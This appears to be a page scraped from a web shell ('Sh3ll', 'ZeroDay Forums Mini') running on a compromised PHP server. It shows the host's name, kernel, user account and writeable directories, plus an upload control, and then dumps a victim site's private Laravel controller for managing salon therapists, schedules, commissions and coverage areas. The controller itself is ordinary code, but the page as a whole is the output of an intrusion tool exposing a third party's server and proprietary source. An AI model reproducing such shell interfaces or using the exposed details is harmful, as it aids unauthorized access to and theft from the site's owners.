Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/SalonTherapistController.php
<?php

namespace App\Modules\Users\Http\Controllers\Admin;

use App\Http\Controllers\AdminController;
use App\Http\Requests;
use App\Http\Controllers\Controller;

use App\Modules\Postcodes\Models\District;
use App\Modules\Postcodes\Models\Zone;
use App\Modules\Schedules\Models\Schedule;
use App\Modules\Services\Models\ServiceDuration;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Users\Http\Requests\TherapistUpdAreasRequest;
use App\Modules\Users\Http\Requests\TherapistUpdAvatarRequest;
use App\Modules\Users\Http\Requests\TherapistUpdPassRequest;
use App\Modules\Users\Models\UserProfile;
use App\Modules\Users\Http\Requests\TherapistCreateRequest;
use App\Modules\Users\Http\Requests\TherapistUpdInfoRequest;
use App\Modules\Users\Models\UserServiceDuration;
use App\Modules\Users\Models\UserWorkingDay;
use App\Modules\Users\Models\TherapistMyWork;
use App\User;
use Spatie\Permission\Models\Role;
use Carbon\Carbon;
use Cmgmyr\Messenger\Models\Thread;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Validator;
use Laracasts\Flash\Flash;
use Yajra\Datatables\Datatables;
use Illuminate\Support\Facades\Auth;

class SalonTherapistController extends AdminController
{
    /**
     * Display a listing of the resource.
     *
     * @return Response
     */
    public function index($id)
    {
        $this->data['salon_id'] = $id;
        $this->data['page_title'] = trans('users::salon.page_title');
        // dd($this->data);
        return view('users::admin.salon_therapists_index', $this->data);  
    }

    /**
     * Show a list of all companies
     *
     * @return mixed
     */
    public function data(Request $request,$id)
    { 
        // dd($id);
        //create object contact
        $obj = $this->getData($request,$id);
        // dd($obj);
        //create array with contacts permissions access
        $this->data['can'] = [
            'view'   => $this->data['user']->can('admin.users.therapists.show') || $this->data['user']->is('developer') || $this->data['user']->is('salon'),
            'edit'   => $this->data['user']->can('admin.users.therapists.edit') || $this->data['user']->is('developer') || $this->data['user']->is('salon'), 
            'delete' => $this->data['user']->can('admin.users.therapists.delete') || $this->data['user']->is('developer') || $this->data['user']->is('salon'), 
        ];

        //return datatables data
        return Datatables::of($obj)
            ->editColumn('name', function ($o) {
                $data['o'] = $o;
                return view('users::admin.partial_name_with_pic', $data)->render();
            })
            ->addColumn('actions', function ($o) {   
                $this->data['o'] = $o;
                return view('users::admin.salon_therapists_list_actions', $this->data)->render();
            })
            ->editColumn('id', function ($o) {
                $data['o'] = $o;
                return view('users::admin.partial_drag_and_drop_arr', $data)->render();
            })
            ->removeColumn('updated_at')
            ->setTotalRecords($obj->count()) 
            ->make(true);
    }

    /**     
     * Get object entries
     * @param Request $request
     */
    protected function getData(Request $request,$id)
    {
         if(isset($id)){
            $group = Role::where('name', 'therapist')->first();
            $obj = User::query()->where('salon_id',$id)->whereHas('roles', function ($query) {
                return $query->where('slug', 'therapist');
            })->orderBy('nr_crt', 'asc');
         }
        

        //return object 
        return $obj;
    }

    /**
     * Show the form for creating a new resource. 
     *
     * @return Response
     */
    public function create($id)   
    {
        
        $zone = new Zone();
        $this->data['id'] = $id;
        $this->data['page_title'] = trans('users::salon.page_title');
        $this->data['form']['services'] = ServiceType::lists('name', 'id')->put(0, trans('general.form_select_option'));
        $this->data['form']['zones'] = $zone->formList();
        $this->data['form']['districts'] = District::orderBy('name', 'asc')->lists('name', 'id');
        $this->data['form']['workingdays'] = Schedule::all();
        $this->data['form']['transport_modes'] = trans("users::therapists.transport_modes_opt");
        $this->data['form']['massage_table_status'] = false;
        // dd($this->data['form']['services']);
        //show page
        return view('users::admin.therapists_create', $this->data);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @return Response TherapistCreateRequest
     */
    public function store(Request $request, $id)   
    {
        // dd($id);
        //start transaction
        
        DB::beginTransaction();
        $data = [
            'name' => $request->first_name . ' ' . $request->last_name,
            'email' => $request->email,
            'password' => $request->password,
        ];
        if(isset($id)){
            $user = User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
            'api_token' => str_random(60),
            'salon_id' => $id
            ]);
        } else { 
        $user = User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
            'api_token' => str_random(60),
        ]);
        }
        //assign to a ditrict if is not provided
        if ((int)$request->district_id > 0) {
            $district_id = $request->district_id;
        } else {
            $district = District::first();
            $district_id = $district->id;
        }

        //create user profile
        $profile = UserProfile::create([
            'first_name' => $request->first_name,
            'last_name' => $request->last_name,
            'mobile_number' => $request->mobile_number,
            'about' => $request->about,
            'user_id' => $user->id,
            'district_id' => $district_id,
            'transport_mode' => 0,
            'massage_table_status' => $request->massage_table_status,
        ]);

        //save services types to user (user techniques)
        $user->servicetypes()->sync((array) $request->service_id);

        //save coverage areas
        $user->zones()->sync($request->zone_id);

        //save therapist working days schedule
        foreach ($request->dayname as $key => $dayname) {
            $day_data = [
                'user_id'   => $user->id,
                'name'      => $dayname,
                'weekday'   => $key,
                'dayoff'    => (int)@$request->dayoff[$key],
                'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key])->format('H:i'),
                'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key])->format('H:i'),
            ];
            UserWorkingDay::create($day_data);
        } //endforeach

        //get therapist role
        $role = Role::where('slug', 'therapist')->first();

        //attach role
        if ($role)
            $role_status = $user->assignRole($role);

        if ($user && $profile) {

            //commit transaction
            DB::commit();
            // dd($request->save);
        //redirect
            // dd($request->save);
            return redirect(route('admin.users.salon.therapists', ['id' => $id]));
        // if ($request->save)
        //     return redirect(route('admin.users.therapists.show', ['id' => $obj->id]));
        // elseif ($request->save_exit)
        //     return redirect(route('admin.users.salon.therapists'));
        } else {
            //rollback
            DB::rollback();  
            return redirect(route('admin.users.therapists.create'))->withInput();
        } //end elseif

    }

    protected function get_my_work($obj)
    {
        $results = [];
        $list = TherapistMyWork::where('user_id',$obj->id)
                            ->orderBy('order','asc')
                            ->orderBy('id','asc')
                            ->get();

        foreach($list as $li){
            $results[$li->id]=[
                'id' => $li->id,
                'title' => $li->title,
                'order' => $li->order,
                'url' => $li->url,
                'path' => $li->path,
                'image' => $li->image,
            ];
        } //endforeach
        // dd($results);
        //return results
        return $results;
    }

    /**
     * Edit Service Type
     *
     * @param $label
     * @return \BladeView|bool|\Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit($obj) 
    {
        $obj->with('profile');
        $obj->first_name = $obj->profile->first_name;
        $obj->last_name = $obj->profile->last_name;
        $obj->mobile_number = $obj->profile->mobile_number;
        $obj->about = $obj->profile->about;
        $obj->role = $obj->getRoles()->first()->name;
        $obj->zone_id = $obj->zones;

        $saved_services = [];
        foreach ($obj->servicetypes as $serv)
            $saved_services[] = $serv->id;

        $saved_zones = [];
        foreach ($obj->zones as $zone)
            $saved_zones[] = $zone->id;

        $zone = new Zone();
  
        $default_wd = Schedule::all();
        foreach ($default_wd as $day) {
            $day->dayoff = !$day->open;
        }
        $obj->services_commisions;

        $this->data['page_title'] = trans('users::therapists.page_title');
        $this->data['obj'] = $obj;
        $this->data['form']['services'] = ServiceType::lists('name', 'id')->put(0, trans('general.form_select_option'));
        $this->data['form']['saved_services'] = $saved_services; 
        $this->data['form']['services_duration_commisions'] = $obj->services_commisions;
        $this->data['form']['zones'] = $zone->formList();
        $this->data['form']['saved_zones'] = $saved_zones;
        $this->data['form']['districts'] = District::orderBy('name', 'asc')->lists('name', 'id');
        $this->data['form']['workingdays'] = ($obj->workingdays->count()) ? $obj->workingdays : collect($default_wd);
        $this->data['form']['transport_modes'] = trans("users::therapists.transport_modes_opt");
        $this->data['form']['massage_table_status'] = $obj->has_massage_table;
        

        //show page
        return view('users::admin.therapists_edit', $this->data);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  int $id
     * @return Response
     */
    public function update(TherapistUpdInfoRequest $request, $obj)
    {
        // echo "<pre>";
            // print_r($request->input()); die();
        $user_data = [
            'name' => $request->first_name . ' ' . $request->last_name,
            'email' => $request->email,
        ];
        User::where('id', $obj->id)->update($user_data);

        $profile_data = [
            'first_name' => $request->first_name,
            'last_name' => $request->last_name,
            'mobile_number' => $request->mobile_number,
            'about' => $request->about,
            'transport_mode' => $request->transport_mode,
            'massage_table_status' => $request->massage_table_status,
        ];

        $profile = $obj->profile;
        $profile->update($profile_data);

        //sync services types
        $selected_services = (array)$request->service_id;
        foreach ($selected_services as $key => $srv) {
            if (!$srv)
                unset($selected_services[$key]);
        }

        $obj->servicetypes()->sync((array) $selected_services);
        $user_id = $obj->id;
        $deleteworkingdays = DB::table("user_schedule")->where("user_id", $user_id)->delete();
        $workingdays = $obj->workingdays;
        //save therapist working days schedule
        //add working days to user
            foreach ($request->dayname as $key => $dayname) {
                $bo_start_len = count($request->bo_start[$key]);
                if($bo_start_len){
                    for($i=0; $i<$bo_start_len; $i++){
                        $day_data = [
                            'user_id'   => $obj->id,  
                            'name'      => $dayname,
                            'weekday'   => $key,
                            'dayoff'    => (int)@$request->dayoff[$key],
                            'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key][$i])->format('H:i'),
                            'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key][$i])->format('H:i'),
                        ];
                        //print_r($day_data); 
                    UserWorkingDay::create($day_data);
                    }
                }
            } //endforeach 
            //die();
        //update working days
        // if (!$obj->workingdays->count()) {

        //     //add working days to user
        //     foreach ($request->dayname as $key => $dayname) {
        //         $day_data = [
        //             'user_id'   => $obj->id,  
        //             'name'      => $dayname,
        //             'weekday'   => $key,
        //             'dayoff'    => (int)@$request->dayoff[$key],
        //             'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key])->format('H:i'),
        //             'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key])->format('H:i'),
        //         ];
        //         UserWorkingDay::create($day_data);
        //     } //endforeach
        // } else {
        //     //update working days
        //     foreach ($obj->workingdays as $day) {
        //         $day_data = [
        //             'dayoff' => (int)@$request->dayoff[$day->weekday],
        //             'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$day->weekday])->format('H:i'),
        //             'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$day->weekday])->format('H:i'),  
        //         ];

        //         $day->update($day_data);
        //     } //endforeach
        // }

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.therapists.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_pass(TherapistUpdPassRequest $request, $obj)
    {

        $data = [
            'password' => bcrypt($request->password),
        ];
        $obj->update($data);

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.therapists.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_areas(TherapistUpdAreasRequest $request, $obj)
    {

        //save therapist district
        $profile = $obj->profile;
        $profile->district_id = $request->district_id;
        $profile->save();

        //save new coverage areas
        $obj->zones()->sync($request->zone_id);

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]) . "#tab_1_4");
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.therapists.index'));
        }
    }

    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    public function update_avatar(TherapistUpdAvatarRequest $request, $obj)
    {
        $file = $request->file('avatar');
        $filename = str_slug(str_replace($file->getClientOriginalExtension(), '', $file->getClientOriginalName()));
        $extension = $file->getClientOriginalExtension();
  
        $path_file = 'avatar/' . $filename . "." . $extension;

        //upload file
        $upload = Storage::disk('public_images')->put(
            $path_file,
            file_get_contents($request->file('avatar')->getRealPath())
        );

        $profile = $obj->profile;
        $profile->avatar = $path_file;
        $profile->save();

        //redirect
        if ($request->save) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.therapists.index'));
        }
    }

    public function update_commisions(Request $request, $obj)
    {
        $errors = [];
        $rules = [];

        foreach ($request->services_duration_commisions as $k => $services_duration_commision) {
            $checkTotal = (float)$services_duration_commision['commision_co'] + (float)$services_duration_commision['commision_th'];
            $rules['price_' . $k] = 'required|numeric|min:0|size:' . $checkTotal;
            $prices['price_' . $k] = $services_duration_commision['price_' . $k];
        }

        $statusAll = Validator::make($prices, $rules);

        foreach ($request->services_duration_commisions as $k => $services_duration_commision) {
            $checkTotal = (float)$services_duration_commision['commision_co'] + (float)$services_duration_commision['commision_th'];
            $status = Validator::make($services_duration_commision, [
                'price_' . $k => 'required|numeric|min:0|size:' . $checkTotal,
            ]);
            if (!$status->fails()) {
                $dataServiceCommision['services_duration_id'] = $k;
                $dataServiceCommision['user_id'] = $obj->id;  

                $therapistServiceCommision = UserServiceDuration::firstOrCreate($dataServiceCommision);
                $therapistServiceCommision->commision_co = $services_duration_commision['commision_co']; 
                $therapistServiceCommision->commision_th = $services_duration_commision['commision_th'];
                $therapistServiceCommision->price = $checkTotal;
                $therapistServiceCommision->save();
            }
        }

        if ($statusAll->fails()) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]) . "#tab_1_5")->withErrors($statusAll)->withInput();
        }
        //redirect
        if ($request->save) {
            return redirect(route('admin.users.therapists.edit', ['id' => $obj->id]) . "#tab_1_5");
        } elseif ($request->save_exit) {
            return redirect(route('admin.users.therapists.index'));
        }
    }

    /**
     * Delete page
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function delete($obj)
    {
        $this->data['obj'] = $obj;

        return view('users::admin.therapists_delete', $this->data);
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($obj)
    {
        //set object name
        $obj_name = $obj->name;
        UserServiceDuration::where('user_id', $obj->id)->delete();

        //delete contact
        $obj->delete();

        //set success message
        Flash::info(trans('users::therapists.message_confirm_delete', ['name' => $obj->name]));

        //redirect to contacts list
        return redirect(route('admin.users.therapists.index'));
    }

    /**
     * Profile Overview
     * @param $obj
     */
    public function show($obj)
    {
        $obj->role = $obj->getRoles()->first()->name;

        //load messages
        $threads = Thread::forUser($obj->id)->latest('updated_at')->get();

        $this->data['obj'] = $obj;
        $this->data['workingdays'] = $obj->workingdays;
        $this->data['services_duration_commisions'] =  $obj->services_commisions;
        $this->data['daysoff'] = $obj->daysoff;
        $this->data['threads'] = $obj->threads;
        $this->data['bookings'] = $obj->therapistbookings()
            ->select('*', DB::raw('CONCAT_WS(" ",date,hour) as bookingdate'))
            ->whereRaw('CONCAT_WS(" ",date,hour) >= NOW()')
            ->whereHas('booking', function ($query) {
                return $query->where('is_active', 1);
            })
            ->orderBy('bookingdate', 'asc')
            ->get();
        //display page
        return view('users::admin.therapists_show', $this->data);
    }

    /**
     * Update massage me now
     * @param $obj
     */
    public function update_massage_me_now($obj, Request $request)
    {
        //update user massage me now status
        $profile = $obj->profile;
        $profile->massage_me_now = $request->massage_me_now;
        $profile->save();

        //return response with success
        return redirect(route('admin.users.therapists.show', ['id' => $obj->id]));
    }

    public function sort_therapists(Request $request)
    {
        if (isset($request->therapists)) {
            foreach ($request->therapists as $k => $therapist) {
                $therapistObj = User::where('id', $therapist)->first();
                $therapistObj->nr_crt = $k;
                $therapistObj->save();
            }
        }
        return response(['message' => 'success'], 200);
    }  

    public function add_coverage_areas(Request $request)
    {
        // echo "<pre>";
        // print_r($request->polygondata);
        // die('in');
        if (isset($request->polygondata)) {  
            $therapist_id = $request->therapist_id;
            $last_coverage_areas = DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->orderBy('id','desc')->first();
            $last_polygon_no = !empty($last_coverage_areas->polygon_no)?$last_coverage_areas->polygon_no + 1:1;
            $count = $last_polygon_no;
            $user_id = $request->therapist_id;
            foreach ($request->polygondata as $polygon) {
                foreach ($polygon as $value) {
                    $region = explode(',', $value);
                    $lat = $region[0];
                    $lng = $region[1];
                    $data = array(
                        'user_id'    => $user_id,
                        'polygon_no' => $count,
                        'lat'        => $lat,
                        'lng'        => $lng
                    );
                    //print_r($data);
                    DB::table("therapists_coverage_areas")->insert($data);
                }
                $count++;
            }
            return response(['message' => 'Coverage locations saved successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function get_therapists_coverage_areas(Request $request)
    {
        if (isset($request->therapist_id)) {
            $therapist_id = $request->therapist_id;
            $coverage_areas = DB::table("therapists_coverage_areas")->where('user_id', $therapist_id)->get();
            $attrs = [];
            foreach ($coverage_areas as $key => $value) {
                // -> as it return std object
                $attrs[$value->polygon_no][] = $value;
            }
            return response(['message' => 'Coverage locations', 'data' => $attrs], 200);
        } else {
            return response(['message' => 'therapist is not found'], 200);
        }
    }


    public function delete_coverage_areas(Request $request)
    {
        if (isset($request->remove_locations)) {
            $therapist_id = $request->therapist_id;
            foreach ($request->remove_locations as $polygon) {
                $region = explode(',', $polygon);
                $lat = $region[0];
                $lng = $region[1];
                $data = array(
                    'user_id'    => $therapist_id,
                    'lat'        => $lat,
                    'lng'        => $lng
                );
                //print_r($data);
                DB::table("therapists_coverage_areas")->where('user_id',$therapist_id)->where('lat',$lat)->where('lng',$lng)->delete();
                
            }
            return response(['message' => 'Coverage locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

     public function delete_all_coverage_areas(Request $request)
    {
        $therapist_id = $request->therapist_id;
        if (!empty($therapist_id)) {
            DB::table("therapists_coverage_areas")->where('user_id',$therapist_id)->delete();
            return response(['message' => 'All Coverage locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Therapists ID not found' ], 200);
        }
        return response(['message' => 'success'], 200);
    }


    public function add_travel_cost_for_areas(Request $request)
    {
        if (isset($request->polygondata)) {
            $therapist_id = $request->therapist_id;
            $region_price = $request->region_price;
            $last_coverage_areas = DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->orderBy('id','desc')->first();
            $last_polygon_no = !empty($last_coverage_areas->polygon_no)?$last_coverage_areas->polygon_no + 1:1;
            $count = $last_polygon_no;
            $user_id = $request->therapist_id;
            foreach ($request->polygondata as $polygon) {
                foreach ($polygon as $value) {
                    $region = explode(',', $value);
                    $lat = $region[0];
                    $lng = $region[1];
                    $data = array(
                        'user_id'    => $user_id,
                        'price'    => $region_price,
                        'polygon_no' => $count,
                        'lat'        => $lat,
                        'lng'        => $lng
                    );
                    //print_r($data);
                    DB::table("therapists_travel_costs")->insert($data);
                }
                $count++;
            }
            return response(['message' => 'Travel Cost saved for this region,please add for another region'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

    public function get_therapists_travel_cost_areas(Request $request)
    {
        if (isset($request->therapist_id)) {
            $therapist_id = $request->therapist_id;
            $coverage_areas = DB::table("therapists_travel_costs")->where('user_id', $therapist_id)->get();
            $attrs = [];
            foreach ($coverage_areas as $key => $value) {
                // -> as it return std object
                $attrs[$value->polygon_no][] = $value;
            }
            return response(['message' => 'Travel Cost locations', 'data' => $attrs], 200);
        } else {
            return response(['message' => 'therapist is not found'], 200);
        }
    }

    public function delete_travel_cost_areas(Request $request)
    {
        if (isset($request->remove_locations)) {
            $therapist_id = $request->therapist_id;
            foreach ($request->remove_locations as $polygon) {
                $region = explode(',', $polygon);  
                $lat = $region[0];
                $lng = $region[1];
                $data = array(
                    'user_id'    => $therapist_id,
                    'lat'        => $lat,
                    'lng'        => $lng
                );
                //print_r($data);
                DB::table("therapists_travel_costs")->where('user_id',$therapist_id)->where('lat',$lat)->where('lng',$lng)->delete();
                
            }
            return response(['message' => 'Travel Cost locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Please select region first '], 200);
        }
        return response(['message' => 'success'], 200);
    }

     public function delete_all_travel_cost_areas(Request $request)
    {
        $therapist_id = $request->therapist_id;
        if (!empty($therapist_id)) {
            DB::table("therapists_travel_costs")->where('user_id',$therapist_id)->delete();
            return response(['message' => 'All Travel Cost locations deleted successfully'], 200);
        } else {
            return response(['message' => 'Therapists ID not found' ], 200);
        }
        return response(['message' => 'success'], 200);
    }
}

ZeroDay Forums Mini